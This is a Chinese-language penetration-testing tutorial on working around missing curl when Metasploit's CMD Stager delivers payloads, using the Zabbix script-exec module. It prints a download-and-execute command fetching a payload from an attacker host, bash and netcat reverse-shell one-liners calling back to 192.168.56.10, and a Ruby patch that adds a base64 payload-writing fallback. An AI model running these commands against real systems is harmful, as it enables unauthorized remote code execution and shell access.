1. 背景與問題場景
在滲透測試或漏洞利用中,Metasploit(MSF)是業界最常用的框架之一。
其許多 RCE(遠程代碼執行)模塊在落地 payload(如 Meterpreter 或反彈 shell)時,采用了 CMD Stager 機制,通過常見的下載器(curl
、wget
、tftp
、fetch
等)從攻擊者的 HTTP 服務下載二進制文件并執行。
例如,在利用 exploit/multi/http/zabbix_script_exec
模塊時,默認的自動模式(CMDSTAGER::FLAVOR=auto
)可能會生成這樣的命令:
curl -so /tmp/KvENJxdp http://192.168.56.10:9999/CaxnZl7dATG9W; chmod +x /tmp/KvENJxdp; /tmp/KvENJxdp; rm -f /tmp/KvENJxdp
這條命令的邏輯很簡單:
- 使用
curl
從攻擊者主機(192.168.56.10:9999)下載 payload 到/tmp/KvENJxdp
。 chmod +x
賦予執行權限。- 執行該文件,建立回連(如 reverse_tcp)。
- 刪除文件,清理痕跡。
問題是:
如果目標主機缺少 curl
(或其他下載器),這條命令將直接失敗,利用中斷。
2. 為什么會失敗?——CMD Stager 原理
【如上圖,成功創建了script,但利用失敗】
Metasploit 的 Command Stager(命令分段器)是一個用于在目標上分步傳輸并執行 payload 的抽象模塊。
它會根據目標系統的可用工具,選擇一種“傳輸方式”,這些方式被稱為 Flavor。
常見的 Linux 系統 flavor:
curl
wget
tftp
fetch
ftp_http
echo
(通過echo
寫出二進制文件)printf
bourne
(直接傳輸命令)
Windows flavor:
psh_invokewebrequest
(PowerShell)certutil
bitsadmin
工作流程:
- 模塊執行前,會探測目標可能的工具(某些模塊會主動探測,某些直接假設存在)。
- 選擇第一個可用的 flavor(
auto
模式下由框架自動決定)。 - 構造對應的命令行字符串。
- 在目標上執行該命令,完成 payload 落地。
當目標既沒有 curl
也沒有 wget
,且模塊又沒有降級到 echo
/printf
等無下載器模式,就會直接報錯或無響應。
3. 解決思路總覽
要解決無 curl
環境下的利用失敗問題,有幾條路線可選:
方案 1:手動指定其他可用下載器
如果目標上有 wget
或 tftp
,可以在 MSF 中手動設置:
set CMDSTAGER::FLAVOR wget
或:
set CMDSTAGER::FLAVOR tftp
這樣 MSF 會用你指定的工具生成命令。
【如圖,改為wget,利用成功】
方案 2:使用 echo
/ printf
無下載器寫文件
MSF 內置的 echo
flavor 會將 payload 切分為多行 Base64/十六進制塊,然后用 echo
或 printf
寫到文件中:
echo -ne '\x7f\x45\x4c\x46...' > /tmp/payload
chmod +x /tmp/payload
/tmp/payload
只要目標有最基本的 shell 內置命令即可。
設置方法:
set CMDSTAGER::FLAVOR echo
方案 3:完全跳過文件落地,直接反彈 Shell
如果目標機支持 bash
或 nc
,可以直接運行一行反彈命令:
bash -i >& /dev/tcp/192.168.56.10/4444 0>&1
或:
mkfifo /tmp/f; nc 192.168.56.10 4444 < /tmp/f | /bin/sh > /tmp/f 2>&1; rm /tmp/f
在 MSF 中可以用:
set PAYLOAD cmd/unix/reverse_bash
或直接用 cmd/unix/generic
手工寫反彈命令。
方案 4:修改模塊源碼,自定義 CMD Stager
本文提到的 zabbix_script_exec
,源碼在:
modules/exploits/multi/http/zabbix_script_exec.rb
你可以把 execute_cmdstager
部分改成自動 fallback 到 echo
/base64
寫文件方式,這樣在缺少下載器時也能執行。
示例修改:
def execute_cmdstager(opts = {})beginsuperrescueprint_status("Falling back to echo-based payload delivery")execute_command("echo '#{Rex::Text.encode_base64(payload.encoded)}' | base64 -d > /tmp/p; chmod +x /tmp/p; /tmp/p")end
end
4. 各方案的優劣對比
方案 | 優點 | 缺點 | 適用場景 |
---|---|---|---|
手動指定下載器 | 修改少,執行快 | 仍依賴外部下載器 | 目標有其他下載工具 |
echo / printf 寫文件 | 不依賴下載器 | 對大文件執行慢,可能超時 | 目標只有最基本 shell |
直接反彈 Shell | 無文件落地,速度快 | 不適合長期駐留 | 臨時命令執行 |
修改模塊源碼 | 一次改好,后續復用 | 需要懂 Ruby,維護成本 | 同類環境經常遇到 |
需要注意的是,本文演示的 exploit/multi/http/zabbix_script_exec
這個模塊本身并沒有實現 echo
這種無下載器的 CMD Stager flavor。
所以即使 Metasploit 框架本身支持 echo
/printf
,這個模塊也沒法直接用,因為它的 Targets
和 execute_cmdstager
里只注冊了有限幾種 flavor(auto
, tftp
, wget
, curl
, fetch
, lwprequest
, psh_invokewebrequest
, ftp_http
)。
關鍵點:
CMDSTAGER::FLAVOR
的可選值不是全局通用的,而是模塊里顯式聲明的。zabbix_script_exec
是基于 Linux Dropper 目標實現的,默認只假設目標有下載器。- 這種模塊一旦遇到無 curl / wget 環境,就只能失敗,除非改源碼。
總結與建議
無 curl
環境并不是利用的終點,關鍵是理解 CMD Stager 的原理,并靈活切換傳輸方式。
- 快速解決:嘗試
set CMDSTAGER::FLAVOR wget
- 輕量化攻擊:用
cmd/unix/reverse_bash
直接反彈 shell - 長期優化:改模塊源碼,自動 fallback 到無下載器模式
- 極端環境:研究無磁盤落地、內存注入等高階技巧
在團隊內部,可以把這些方案封裝成“利用模板庫”,遇到不同目標環境時快速切換,避免因下載器缺失而卡死。
官方文檔:https://docs.metasploit.com/api/Msf/Exploit/CmdStager.html